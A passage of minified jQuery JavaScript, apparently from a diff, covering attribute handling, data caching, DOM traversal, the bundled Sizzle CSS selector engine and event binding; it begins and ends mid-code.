M=N.length-1;M>=0;--M){if(o.nodeName(N[M],"tbody")&&!N[M].childNodes.length){N[M].parentNode.removeChild(N[M])}}}if(!o.support.leadingWhitespace&&/^\s/.test(S)){L.insertBefore(K.createTextNode(S.match(/^\s*/)[0]),L.firstChild)}S=o.makeArray(L.childNodes)}if(S.nodeType){G.push(S)}else{G=o.merge(G,S)}});if(I){for(var J=0;G[J];J++){if(o.nodeName(G[J],"script")&&(!G[J].type||G[J].type.toLowerCase()==="text/javascript")){E.push(G[J].parentNode?G[J].parentNode.removeChild(G[J]):G[J])}else{if(G[J].nodeType===1){G.splice.apply(G,[J+1,0].concat(o.makeArray(G[J].getElementsByTagName("script"))))}I.appendChild(G[J])}}return E}return G},attr:function(J,G,K){if(!J||J.nodeType==3||J.nodeType==8){return g}var H=!o.isXMLDoc(J),L=K!==g;G=H&&o.props[G]||G;if(J.tagName){var F=/href|src|style/.test(G);if(G=="selected"&&J.parentNode){J.parentNode.selectedIndex}if(G in J&&H&&!F){if(L){if(G=="type"&&o.nodeName(J,"input")&&J.parentNode){throw"type property can't be changed"}J[G]=K}if(o.nodeName(J,"form")&&J.getAttributeNode(G)){return J.getAttributeNode(G).nodeValue}if(G=="tabIndex"){var I=J.getAttributeNode("tabIndex");return I&&I.specified?I.value:J.nodeName.match(/(button|input|object|select|textarea)/i)?0:J.nodeName.match(/^(a|area)$/i)&&J.href?0:g}return J[G]}if(!o.support.style&&H&&G=="style"){return o.attr(J.style,"cssText",K)}if(L){J.setAttribute(G,""+K)}var E=!o.support.hrefNormalized&&H&&F?J.getAttribute(G,2):J.getAttribute(G);return E===null?g:E}if(!o.support.opacity&&G=="opacity"){if(L){J.zoom=1;J.filter=(J.filter||"").replace(/alpha\([^)]*\)/,"")+(parseInt(K)+""=="NaN"?"":"alpha(opacity="+K*100+")")}return J.filter&&J.filter.indexOf("opacity=")>=0?(parseFloat(J.filter.match(/opacity=([^)]*)/)[1])/100)+"":""}G=G.replace(/-([a-z])/ig,function(M,N){return N.toUpperCase()});if(L){J[G]=K}return J[G]},trim:function(E){return(E||"").replace(/^\s+|\s+$/g,"")},makeArray:function(G){var E=[];if(G!=null){var F=G.length;if(F==null||typeof G==="string"||o.isFunction(G)||G.setInterval){E[0]=G}else{while(F){E[--F]=G[F]}}}return E},inArray:function(G,H){for(var E=0,F=H.length;E<F;E++){if(H[E]===G){return E}}return -1},merge:function(H,E){var F=0,G,I=H.length;if(!o.support.getAll){while((G=E[F++])!=null){if(G.nodeType!=8){H[I++]=G}}}else{while((G=E[F++])!=null){H[I++]=G}}return H},unique:function(K){var F=[],E={};try{for(var G=0,H=K.length;G<H;G++){var J=o.data(K[G]);if(!E[J]){E[J]=true;F.push(K[G])}}}catch(I){F=K}return F},grep:function(F,J,E){var G=[];for(var H=0,I=F.length;H<I;H++){if(!E!=!J(F[H],H)){G.push(F[H])}}return G},map:function(E,J){var F=[];for(var G=0,H=E.length;G<H;G++){var I=J(E[G],G);if(I!=null){F[F.length]=I}}return F.concat.apply([],F)}});var C=navigator.userAgent.toLowerCase();o.browser={version:(C.match(/.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/)||[0,"0"])[1],safari:/webkit/.test(C),opera:/opera/.test(C),msie:/msie/.test(C)&&!/opera/.test(C),mozilla:/mozilla/.test(C)&&!/(compatible|webkit)/.test(C)};o.each({parent:function(E){return E.parentNode},parents:function(E){return o.dir(E,"parentNode")},next:function(E){return o.nth(E,2,"nextSibling")},prev:function(E){return o.nth(E,2,"previousSibling")},nextAll:function(E){return o.dir(E,"nextSibling")},prevAll:function(E){return o.dir(E,"previousSibling")},siblings:function(E){return o.sibling(E.parentNode.firstChild,E)},children:function(E){return o.sibling(E.firstChild)},contents:function(E){return o.nodeName(E,"iframe")?E.contentDocument||E.contentWindow.document:o.makeArray(E.childNodes)}},function(E,F){o.fn[E]=function(G){var H=o.map(this,F);if(G&&typeof G=="string"){H=o.multiFilter(G,H)}return this.pushStack(o.unique(H),E,G)}});o.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(E,F){o.fn[E]=function(G){var J=[],L=o(G);for(var K=0,H=L.length;K<H;K++){var I=(K>0?this.clone(true):this).get();o.fn[F].apply(o(L[K]),I);J=J.concat(I)}return this.pushStack(J,E,G)}});o.each({removeAttr:function(E){o.attr(this,E,"");if(this.nodeType==1){this.removeAttribute(E)}},addClass:function(E){o.className.add(this,E)},removeClass:function(E){o.className.remove(this,E)},toggleClass:function(F,E){if(typeof E!=="boolean"){E=!o.className.has(this,F)}o.className[E?"add":"remove"](this,F)},remove:function(E){if(!E||o.filter(E,[this]).length){o("*",this).add([this]).each(function(){o.event.remove(this);o.removeData(this)});if(this.parentNode){this.parentNode.removeChild(this)}}},empty:function(){o(this).children().remove();while(this.firstChild){this.removeChild(this.firstChild)}}},function(E,F){o.fn[E]=function(){return this.each(F,arguments)}});function j(E,F){return E[0]&&parseInt(o.curCSS(E[0],F,true),10)||0}var h="jQuery"+e(),v=0,A={};o.extend({cache:{},data:function(F,E,G){F=F==l?A:F;var H=F[h];if(!H){H=F[h]=++v}if(E&&!o.cache[H]){o.cache[H]={}}if(G!==g){o.cache[H][E]=G}return E?o.cache[H][E]:H},removeData:function(F,E){F=F==l?A:F;var H=F[h];if(E){if(o.cache[H]){delete o.cache[H][E];E="";for(E in o.cache[H]){break}if(!E){o.removeData(F)}}}else{try{delete F[h]}catch(G){if(F.removeAttribute){F.removeAttribute(h)}}delete o.cache[H]}},queue:function(F,E,H){if(F){E=(E||"fx")+"queue";var G=o.data(F,E);if(!G||o.isArray(H)){G=o.data(F,E,o.makeArray(H))}else{if(H){G.push(H)}}}return G},dequeue:function(H,G){var E=o.queue(H,G),F=E.shift();if(!G||G==="fx"){F=E[0]}if(F!==g){F.call(H)}}});o.fn.extend({data:function(E,G){var H=E.split(".");H[1]=H[1]?"."+H[1]:"";if(G===g){var F=this.triggerHandler("getData"+H[1]+"!",[H[0]]);if(F===g&&this.length){F=o.data(this[0],E)}return F===g&&H[1]?this.data(H[0]):F}else{return this.trigger("setData"+H[1]+"!",[H[0],G]).each(function(){o.data(this,E,G)})}},removeData:function(E){return this.each(function(){o.removeData(this,E)})},queue:function(E,F){if(typeof E!=="string"){F=E;E="fx"}if(F===g){return o.queue(this[0],E)}return this.each(function(){var G=o.queue(this,E,F);if(E=="fx"&&G.length==1){G[0].call(this)}})},dequeue:function(E){return this.each(function(){o.dequeue(this,E)})}});
+/*
+ * Sizzle CSS Selector Engine - v0.9.3
+ *  Copyright 2009, The Dojo Foundation
+ *  Released under the MIT, BSD, and GPL Licenses.
+ *  More information: http://sizzlejs.com/
+ */
+(function(){var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?/g,L=0,H=Object.prototype.toString;var F=function(Y,U,ab,ac){ab=ab||[];U=U||document;if(U.nodeType!==1&&U.nodeType!==9){return[]}if(!Y||typeof Y!=="string"){return ab}var Z=[],W,af,ai,T,ad,V,X=true;R.lastIndex=0;while((W=R.exec(Y))!==null){Z.push(W[1]);if(W[2]){V=RegExp.rightContext;break}}if(Z.length>1&&M.exec(Y)){if(Z.length===2&&I.relative[Z[0]]){af=J(Z[0]+Z[1],U)}else{af=I.relative[Z[0]]?[U]:F(Z.shift(),U);while(Z.length){Y=Z.shift();if(I.relative[Y]){Y+=Z.shift()}af=J(Y,af)}}}else{var ae=ac?{expr:Z.pop(),set:E(ac)}:F.find(Z.pop(),Z.length===1&&U.parentNode?U.parentNode:U,Q(U));af=F.filter(ae.expr,ae.set);if(Z.length>0){ai=E(af)}else{X=false}while(Z.length){var ah=Z.pop(),ag=ah;if(!I.relative[ah]){ah=""}else{ag=Z.pop()}if(ag==null){ag=U}I.relative[ah](ai,ag,Q(U))}}if(!ai){ai=af}if(!ai){throw"Syntax error, unrecognized expression: "+(ah||Y)}if(H.call(ai)==="[object Array]"){if(!X){ab.push.apply(ab,ai)}else{if(U.nodeType===1){for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&(ai[aa]===true||ai[aa].nodeType===1&&K(U,ai[aa]))){ab.push(af[aa])}}}else{for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&ai[aa].nodeType===1){ab.push(af[aa])}}}}}else{E(ai,ab)}if(V){F(V,U,ab,ac);if(G){hasDuplicate=false;ab.sort(G);if(hasDuplicate){for(var aa=1;aa<ab.length;aa++){if(ab[aa]===ab[aa-1]){ab.splice(aa--,1)}}}}}return ab};F.matches=function(T,U){return F(T,null,null,U)};F.find=function(aa,T,ab){var Z,X;if(!aa){return[]}for(var W=0,V=I.order.length;W<V;W++){var Y=I.order[W],X;if((X=I.match[Y].exec(aa))){var U=RegExp.leftContext;if(U.substr(U.length-1)!=="\\"){X[1]=(X[1]||"").replace(/\\/g,"");Z=I.find[Y](X,T,ab);if(Z!=null){aa=aa.replace(I.match[Y],"");break}}}}if(!Z){Z=T.getElementsByTagName("*")}return{set:Z,expr:aa}};F.filter=function(ad,ac,ag,W){var V=ad,ai=[],aa=ac,Y,T,Z=ac&&ac[0]&&Q(ac[0]);while(ad&&ac.length){for(var ab in I.filter){if((Y=I.match[ab].exec(ad))!=null){var U=I.filter[ab],ah,af;T=false;if(aa==ai){ai=[]}if(I.preFilter[ab]){Y=I.preFilter[ab](Y,aa,ag,ai,W,Z);if(!Y){T=ah=true}else{if(Y===true){continue}}}if(Y){for(var X=0;(af=aa[X])!=null;X++){if(af){ah=U(af,Y,X,aa);var ae=W^!!ah;if(ag&&ah!=null){if(ae){T=true}else{aa[X]=false}}else{if(ae){ai.push(af);T=true}}}}}if(ah!==g){if(!ag){aa=ai}ad=ad.replace(I.match[ab],"");if(!T){return[]}break}}}if(ad==V){if(T==null){throw"Syntax error, unrecognized expression: "+ad}else{break}}V=ad}return aa};var I=F.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF_-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF_-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*_-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF_-]|\\.)+)(?:\((['"]*)((?:\([^\)]+\)|[^\2\(\)]*)+)\2\))?/},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(T){return T.getAttribute("href")}},relative:{"+":function(aa,T,Z){var X=typeof T==="string",ab=X&&!/\W/.test(T),Y=X&&!ab;if(ab&&!Z){T=T.toUpperCase()}for(var W=0,V=aa.length,U;W<V;W++){if((U=aa[W])){while((U=U.previousSibling)&&U.nodeType!==1){}aa[W]=Y||U&&U.nodeName===T?U||false:U===T}}if(Y){F.filter(T,aa,true)}},">":function(Z,U,aa){var X=typeof U==="string";if(X&&!/\W/.test(U)){U=aa?U:U.toUpperCase();for(var V=0,T=Z.length;V<T;V++){var Y=Z[V];if(Y){var W=Y.parentNode;Z[V]=W.nodeName===U?W:false}}}else{for(var V=0,T=Z.length;V<T;V++){var Y=Z[V];if(Y){Z[V]=X?Y.parentNode:Y.parentNode===U}}if(X){F.filter(U,Z,true)}}},"":function(W,U,Y){var V=L++,T=S;if(!U.match(/\W/)){var X=U=Y?U:U.toUpperCase();T=P}T("parentNode",U,V,W,X,Y)},"~":function(W,U,Y){var V=L++,T=S;if(typeof U==="string"&&!U.match(/\W/)){var X=U=Y?U:U.toUpperCase();T=P}T("previousSibling",U,V,W,X,Y)}},find:{ID:function(U,V,W){if(typeof V.getElementById!=="undefined"&&!W){var T=V.getElementById(U[1]);return T?[T]:[]}},NAME:function(V,Y,Z){if(typeof Y.getElementsByName!=="undefined"){var U=[],X=Y.getElementsByName(V[1]);for(var W=0,T=X.length;W<T;W++){if(X[W].getAttribute("name")===V[1]){U.push(X[W])}}return U.length===0?null:U}},TAG:function(T,U){return U.getElementsByTagName(T[1])}},preFilter:{CLASS:function(W,U,V,T,Z,aa){W=" "+W[1].replace(/\\/g,"")+" ";if(aa){return W}for(var X=0,Y;(Y=U[X])!=null;X++){if(Y){if(Z^(Y.className&&(" "+Y.className+" ").indexOf(W)>=0)){if(!V){T.push(Y)}}else{if(V){U[X]=false}}}}return false},ID:function(T){return T[1].replace(/\\/g,"")},TAG:function(U,T){for(var V=0;T[V]===false;V++){}return T[V]&&Q(T[V])?U[1]:U[1].toUpperCase()},CHILD:function(T){if(T[1]=="nth"){var U=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(T[2]=="even"&&"2n"||T[2]=="odd"&&"2n+1"||!/\D/.test(T[2])&&"0n+"+T[2]||T[2]);T[2]=(U[1]+(U[2]||1))-0;T[3]=U[3]-0}T[0]=L++;return T},ATTR:function(X,U,V,T,Y,Z){var W=X[1].replace(/\\/g,"");if(!Z&&I.attrMap[W]){X[1]=I.attrMap[W]}if(X[2]==="~="){X[4]=" "+X[4]+" "}return X},PSEUDO:function(X,U,V,T,Y){if(X[1]==="not"){if(X[3].match(R).length>1||/^\w/.test(X[3])){X[3]=F(X[3],null,null,U)}else{var W=F.filter(X[3],U,V,true^Y);if(!V){T.push.apply(T,W)}return false}}else{if(I.match.POS.test(X[0])||I.match.CHILD.test(X[0])){return true}}return X},POS:function(T){T.unshift(true);return T}},filters:{enabled:function(T){return T.disabled===false&&T.type!=="hidden"},disabled:function(T){return T.disabled===true},checked:function(T){return T.checked===true},selected:function(T){T.parentNode.selectedIndex;return T.selected===true},parent:function(T){return !!T.firstChild},empty:function(T){return !T.firstChild},has:function(V,U,T){return !!F(T[3],V).length},header:function(T){return/h\d/i.test(T.nodeName)},text:function(T){return"text"===T.type},radio:function(T){return"radio"===T.type},checkbox:function(T){return"checkbox"===T.type},file:function(T){return"file"===T.type},password:function(T){return"password"===T.type},submit:function(T){return"submit"===T.type},image:function(T){return"image"===T.type},reset:function(T){return"reset"===T.type},button:function(T){return"button"===T.type||T.nodeName.toUpperCase()==="BUTTON"},input:function(T){return/input|select|textarea|button/i.test(T.nodeName)}},setFilters:{first:function(U,T){return T===0},last:function(V,U,T,W){return U===W.length-1},even:function(U,T){return T%2===0},odd:function(U,T){return T%2===1},lt:function(V,U,T){return U<T[3]-0},gt:function(V,U,T){return U>T[3]-0},nth:function(V,U,T){return T[3]-0==U},eq:function(V,U,T){return T[3]-0==U}},filter:{PSEUDO:function(Z,V,W,aa){var U=V[1],X=I.filters[U];if(X){return X(Z,W,V,aa)}else{if(U==="contains"){return(Z.textContent||Z.innerText||"").indexOf(V[3])>=0}else{if(U==="not"){var Y=V[3];for(var W=0,T=Y.length;W<T;W++){if(Y[W]===Z){return false}}return true}}}},CHILD:function(T,W){var Z=W[1],U=T;switch(Z){case"only":case"first":while(U=U.previousSibling){if(U.nodeType===1){return false}}if(Z=="first"){return true}U=T;case"last":while(U=U.nextSibling){if(U.nodeType===1){return false}}return true;case"nth":var V=W[2],ac=W[3];if(V==1&&ac==0){return true}var Y=W[0],ab=T.parentNode;if(ab&&(ab.sizcache!==Y||!T.nodeIndex)){var X=0;for(U=ab.firstChild;U;U=U.nextSibling){if(U.nodeType===1){U.nodeIndex=++X}}ab.sizcache=Y}var aa=T.nodeIndex-ac;if(V==0){return aa==0}else{return(aa%V==0&&aa/V>=0)}}},ID:function(U,T){return U.nodeType===1&&U.getAttribute("id")===T},TAG:function(U,T){return(T==="*"&&U.nodeType===1)||U.nodeName===T},CLASS:function(U,T){return(" "+(U.className||U.getAttribute("class"))+" ").indexOf(T)>-1},ATTR:function(Y,W){var V=W[1],T=I.attrHandle[V]?I.attrHandle[V](Y):Y[V]!=null?Y[V]:Y.getAttribute(V),Z=T+"",X=W[2],U=W[4];return T==null?X==="!=":X==="="?Z===U:X==="*="?Z.indexOf(U)>=0:X==="~="?(" "+Z+" ").indexOf(U)>=0:!U?Z&&T!==false:X==="!="?Z!=U:X==="^="?Z.indexOf(U)===0:X==="$="?Z.substr(Z.length-U.length)===U:X==="|="?Z===U||Z.substr(0,U.length+1)===U+"-":false},POS:function(X,U,V,Y){var T=U[2],W=I.setFilters[T];if(W){return W(X,V,U,Y)}}}};var M=I.match.POS;for(var O in I.match){I.match[O]=RegExp(I.match[O].source+/(?![^\[]*\])(?![^\(]*\))/.source)}var E=function(U,T){U=Array.prototype.slice.call(U);if(T){T.push.apply(T,U);return T}return U};try{Array.prototype.slice.call(document.documentElement.childNodes)}catch(N){E=function(X,W){var U=W||[];if(H.call(X)==="[object Array]"){Array.prototype.push.apply(U,X)}else{if(typeof X.length==="number"){for(var V=0,T=X.length;V<T;V++){U.push(X[V])}}else{for(var V=0;X[V];V++){U.push(X[V])}}}return U}}var G;if(document.documentElement.compareDocumentPosition){G=function(U,T){var V=U.compareDocumentPosition(T)&4?-1:U===T?0:1;if(V===0){hasDuplicate=true}return V}}else{if("sourceIndex" in document.documentElement){G=function(U,T){var V=U.sourceIndex-T.sourceIndex;if(V===0){hasDuplicate=true}return V}}else{if(document.createRange){G=function(W,U){var V=W.ownerDocument.createRange(),T=U.ownerDocument.createRange();V.selectNode(W);V.collapse(true);T.selectNode(U);T.collapse(true);var X=V.compareBoundaryPoints(Range.START_TO_END,T);if(X===0){hasDuplicate=true}return X}}}}(function(){var U=document.createElement("form"),V="script"+(new Date).getTime();U.innerHTML="<input name='"+V+"'/>";var T=document.documentElement;T.insertBefore(U,T.firstChild);if(!!document.getElementById(V)){I.find.ID=function(X,Y,Z){if(typeof Y.getElementById!=="undefined"&&!Z){var W=Y.getElementById(X[1]);return W?W.id===X[1]||typeof W.getAttributeNode!=="undefined"&&W.getAttributeNode("id").nodeValue===X[1]?[W]:g:[]}};I.filter.ID=function(Y,W){var X=typeof Y.getAttributeNode!=="undefined"&&Y.getAttributeNode("id");return Y.nodeType===1&&X&&X.nodeValue===W}}T.removeChild(U)})();(function(){var T=document.createElement("div");T.appendChild(document.createComment(""));if(T.getElementsByTagName("*").length>0){I.find.TAG=function(U,Y){var X=Y.getElementsByTagName(U[1]);if(U[1]==="*"){var W=[];for(var V=0;X[V];V++){if(X[V].nodeType===1){W.push(X[V])}}X=W}return X}}T.innerHTML="<a href='#'></a>";if(T.firstChild&&typeof T.firstChild.getAttribute!=="undefined"&&T.firstChild.getAttribute("href")!=="#"){I.attrHandle.href=function(U){return U.getAttribute("href",2)}}})();if(document.querySelectorAll){(function(){var T=F,U=document.createElement("div");U.innerHTML="<p class='TEST'></p>";if(U.querySelectorAll&&U.querySelectorAll(".TEST").length===0){return}F=function(Y,X,V,W){X=X||document;if(!W&&X.nodeType===9&&!Q(X)){try{return E(X.querySelectorAll(Y),V)}catch(Z){}}return T(Y,X,V,W)};F.find=T.find;F.filter=T.filter;F.selectors=T.selectors;F.matches=T.matches})()}if(document.getElementsByClassName&&document.documentElement.getElementsByClassName){(function(){var T=document.createElement("div");T.innerHTML="<div class='test e'></div><div class='test'></div>";if(T.getElementsByClassName("e").length===0){return}T.lastChild.className="e";if(T.getElementsByClassName("e").length===1){return}I.order.splice(1,0,"CLASS");I.find.CLASS=function(U,V,W){if(typeof V.getElementsByClassName!=="undefined"&&!W){return V.getElementsByClassName(U[1])}}})()}function P(U,Z,Y,ad,aa,ac){var ab=U=="previousSibling"&&!ac;for(var W=0,V=ad.length;W<V;W++){var T=ad[W];if(T){if(ab&&T.nodeType===1){T.sizcache=Y;T.sizset=W}T=T[U];var X=false;while(T){if(T.sizcache===Y){X=ad[T.sizset];break}if(T.nodeType===1&&!ac){T.sizcache=Y;T.sizset=W}if(T.nodeName===Z){X=T;break}T=T[U]}ad[W]=X}}}function S(U,Z,Y,ad,aa,ac){var ab=U=="previousSibling"&&!ac;for(var W=0,V=ad.length;W<V;W++){var T=ad[W];if(T){if(ab&&T.nodeType===1){T.sizcache=Y;T.sizset=W}T=T[U];var X=false;while(T){if(T.sizcache===Y){X=ad[T.sizset];break}if(T.nodeType===1){if(!ac){T.sizcache=Y;T.sizset=W}if(typeof Z!=="string"){if(T===Z){X=true;break}}else{if(F.filter(Z,[T]).length>0){X=T;break}}}T=T[U]}ad[W]=X}}}var K=document.compareDocumentPosition?function(U,T){return U.compareDocumentPosition(T)&16}:function(U,T){return U!==T&&(U.contains?U.contains(T):true)};var Q=function(T){return T.nodeType===9&&T.documentElement.nodeName!=="HTML"||!!T.ownerDocument&&Q(T.ownerDocument)};var J=function(T,aa){var W=[],X="",Y,V=aa.nodeType?[aa]:aa;while((Y=I.match.PSEUDO.exec(T))){X+=Y[0];T=T.replace(I.match.PSEUDO,"")}T=I.relative[T]?T+"*":T;for(var Z=0,U=V.length;Z<U;Z++){F(T,V[Z],W)}return F.filter(X,W)};o.find=F;o.filter=F.filter;o.expr=F.selectors;o.expr[":"]=o.expr.filters;F.selectors.filters.hidden=function(T){return T.offsetWidth===0||T.offsetHeight===0};F.selectors.filters.visible=function(T){return T.offsetWidth>0||T.offsetHeight>0};F.selectors.filters.animated=function(T){return o.grep(o.timers,function(U){return T===U.elem}).length};o.multiFilter=function(V,T,U){if(U){V=":not("+V+")"}return F.matches(V,T)};o.dir=function(V,U){var T=[],W=V[U];while(W&&W!=document){if(W.nodeType==1){T.push(W)}W=W[U]}return T};o.nth=function(X,T,V,W){T=T||1;var U=0;for(;X;X=X[V]){if(X.nodeType==1&&++U==T){break}}return X};o.sibling=function(V,U){var T=[];for(;V;V=V.nextSibling){if(V.nodeType==1&&V!=U){T.push(V)}}return T};return;l.Sizzle=F})();o.event={add:function(I,F,H,K){if(I.nodeType==3||I.nodeType==8){return}if(I.setInterval&&I!=l){I=l}if(!H.guid){H.guid=this.guid++}if(K!==g){var G=H;H=this.proxy(G);H.data=K}var E=o.data(I,"events")||o.data(I,"events",{}),J=o.data(I,"handle")||o.data(I,"handle",function(){return typeof o!=="undefined"&&!o.event.triggered?o.event.handle.apply(arguments.callee.elem,arguments):g});J.elem=I;o.each(F.split(/\s+/),function(M,N){var O=N.split(".");N=O.shift();H.type=O.slice().sort().join(".");var L=E[N];if(o.event.specialAll[N]){o.event.specialAll[N].setup.call(I,K,O)}if(!L){L=E[N]={};if(!o.event.special[N]||o.event.special[N].setup.call(I,K,O)===false){if(I.addEventListener){I.addEventListener(N,J,false)}else{if(I.attachEvent){I.attachEvent("on"+N,J)}}}}L[H.guid]=H;o.event.global[N]=true});I=null},guid:1,global:{},remove:function(K,H,J){if(K.nodeType==3||K.nodeType==8){return}var G=o.data(K,"events"),F,E;if(G){if(H===g||(typeof H==="string"&&H.charAt(0)==".")){for(var I in G){this.remove(K,I+(H||""))}}else{if(H.type){J=H.handler;H=H.type}o.each(H.split(/\s+/),function(M,O){var Q=O.split(".");O=Q.shift();var N=RegExp("(^|\\.)"+Q.slice().sort().join(".*\\.")+"(\\.|$)");if(G[O]){if(J){delete G[O][J.guid]}else{for(var P in G[O]){if(N.test(G[O][P].type)){delete G[O][P]}}}if(o.event.specialAll[O]){o.event.specialAll[O].teardown.call(K,Q)}for(F in G[O]){break}if(!F){if(!o.event.special[O]||o.event.special[O].teardown.call(K,Q)===false){if(K.removeEventListener){K.removeEventListener(O,o.data(K,"handle"),false)}else{if(K.detachEvent){K.detachEvent("on"+O,o.data(K,"handle"))}}}F=null;delete G[O]}}})}for(F in G){break}if(!F){var L=o.data(K,"handle");if(L){L.elem=null}o.removeData(K,"events");o.removeData(K,"handle")}}},trigger:function(I,K,H,E){var G=I.type||I;if(!E){I=typeof I==="object"?I[h]?I:o.extend(o.Event(G),I):o.Event(G);if(G.indexOf("!")>=0){I.type=G=G.slice(0,-1);I.exclusive=true}if(!H){I.stopPropagation();if(this.global[G]){o.each(o.cache,function(){if(this.events&&this.events[G]){o.event.trigger(I,K,this.handle.elem)}})}}if(!H||H.nodeType==3||H.nodeType==8){return g}I.result=g;I.target=H;K=o.makeArray(K);K.unshift(I)}I.currentTarget=H;var J=o.data(H,"handle");if(J){J.apply(H,K)}if((!H[G]||(o.nodeName(H,"a")&&G=="click"))&&H["on"+G]&&H["on"+G].apply(H,K)===false){I.result=false}if(!E&&H[G]&&!I.isDefaultPrevented()&&!(o.nodeName(H,"a")&&G=="click")){this.triggered=true;try{H[G]()}catch(L){}}this.triggered=false;if(!I.isPropagationStopped()){var F=H.parentNode||H.ownerDocument;if(F){o.event.trigger(I,K,F,true)}}},handle:function(K){var J,E;K=arguments[0]=o.event.fix(K||l.event);K.currentTarget=this;var L=K.type.split(".");K.type=L.shift();J=!L.length&&!K.exclusive;var I=RegExp("(^|\\.)"+L.slice().sort().join(".*\\.")+"(\\.|$)");E=(o.data(this,"events")||{})[K.type];for(var G in E){var H=E[G];if(J||I.test(H.type)){K.handler=H;K.data=H.data;var F=H.apply(this,arguments);if(F!==g){K.result=F;if(F===false){K.preventDefault();K.stopPropagation()}}if(K.isImmediatePropagationStopped()){break}}}},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode metaKey newValue originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),fix:function(H){if(H[h]){return H}var F=H;H=o.Event(F);for(var G=this.props.length,J;G;){J=this.props[--G];H[J]=F[J]}if(!H.target){H.target=H.srcElement||document}if(H.target.nodeType==3){H.target=H.target.parentNode}if(!H.relatedTarget&&H.fromElement){H.relatedTarget=H.fromElement==H.target?H.toElement:H.fromElement}if(H.pageX==null&&H.clientX!=null){var I=document.documentElement,E=document.body;H.pageX=H.clientX+(I&&I.scrollLeft||E&&E.scrollLeft||0)-(I.clientLeft||0);H.pageY=H.clientY+(I&&I.scrollTop||E&&E.scrollTop||0)-(I.clientTop||0)}if(!H.which&&((H.charCode||H.charCode===0)?H.charCode:H.keyCode)){H.which=H.charCode||H.keyCode}if(!H.metaKey&&H.ctrlKey){H.metaKey=H.ctrlKey}if(!H.which&&H.button){H.which=(H.button&1?1:(H.button&2?3:(H.button&4?2:0)))}return H},proxy:function(F,E){E=E||function(){return F.apply(this,arguments)};E.guid=F.guid=F.guid||E.guid||this.guid++;return E},special:{ready:{setup:B,teardown:function(){}}},specialAll:{live:{setup:function(E,F){o.event.add(this,F[0],c)},teardown:function(G){if(G.length){var E=0,F=RegExp("(^|\\.)"+G[0]+"(\\.|$)");o.each((o.data(this,"events").live||{}),function(){if(F.test(this.type)){E++}});if(E<1){o.event.remove(this,G[0],c)}}}}}};o.Event=function(E){if(!this.preventDefault){return new o.Event(E)}if(E&&E.type){this.originalEvent=E;this.type=E.type}else{this.type=E}this.timeStamp=e();this[h]=true};function k(){return false}function u(){return true}o.Event.prototype={preventDefault:function(){this.isDefaultPrevented=u;var E=this.originalEvent;if(!E){return}if(E.preventDefault){E.preventDefault()}E.returnValue=false},stopPropagation:function(){this.isPropagationStopped=u;var E=this.originalEvent;if(!E){return}if(E.stopPropagation){E.stopPropagation()}E.cancelBubble=true},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=u;this.stopPropagation()},isDefaultPrevented:k,isPropagationStopped:k,isImmediatePropagationStopped:k};var a=function(F){var E=F.relatedTarget;while(E&&E!=this){try{E=E.parentNode}catch(G){E=this}}if(E!=this){F.type=F.data;o.event.handle.apply(this,arguments)}};o.each({mouseover:"mouseenter",mouseout:"mouseleave"},function(F,E){o.event.special[E]={setup:function(){o.event.add(this,F,a,E)},teardown:function(){o.event.remove(this,F,a)}}});o.fn.extend({bind:function(F,G,E){return F=="unload"?this.one(F,G,E):this.each(function(){o.event.add(this,F,E||G,E&&G)})},one:function(G,H,F){var E=o.event.proxy(F||H,function(I){o(this).unbind(I,E);return(F||H).apply(this,arguments)});return this.each(function(){o.event.add(this,G,E,F&&H)})},unbind:function(F,E){return this.each(function(){o.event.remove(this,F,E)})},trigger:function(E,F){return this.each(function(){o.event.trigger(E,F,this)})},triggerHandler:function(E,G){if(this[0]){var F=o.Event(E);F.preventDefault();F.stopPropagation();o.event.trigger(F,G,this[0]);return F.result}},toggle:function(G){var E=arguments,F=1;while(F<E.length){o.event.proxy(G,E[F++])}return this.click(o.event.proxy(G,function(H){this.lastToggle=(this.lastToggle||0)%F;H.preventDefault();return E[this.lastToggle++].apply(this,arguments)||false}))},hover:function(E,F){return this.mouseenter(E).mouseleave(F)},ready:function(E){B();if(o.isReady){E.call(document,o)}else{o.readyList.push(E)}return this},live:function(G,F){var E=o.event.proxy(F);E.guid+=this.selector+G;o(document).bind(i(G,this.selector),this.selector,E);return this},die:function(F,E){o(document).unbind(i(F,this.selector),E?{guid:E.guid+this.selector+F}:null);return this}});function c(H){var E=RegExp("(^|\\.)"+H.type+"(\\.|$)"),G=true,F=[];o.each(o.data(this,"events").live||[],function(I,J){if(E.test(J.type)){var K=o(H.target).closest(J.data)[0];if(K){F.push({elem:K,fn:J})}}});F.sort(function(J,I){return o.data(J.elem,"closest")-o.data(I.elem,"closest")});o.each(F,function(){if(this.fn.call(this.elem,H,this.fn.data)===false){return(G=false)}});return G}function i(F,E){return["live",F,E.replace(/\./g,"`").replace(/ /g,"|")].join(".")}o.extend({isReady:false,readyList:[],ready:function(){if(!o.isReady){o.isReady=true;if(o.readyList){o.each(o.readyList,function(){this.call(document,o)});o.readyList=null}o(document).triggerHandler("ready")}}});var x=false;function 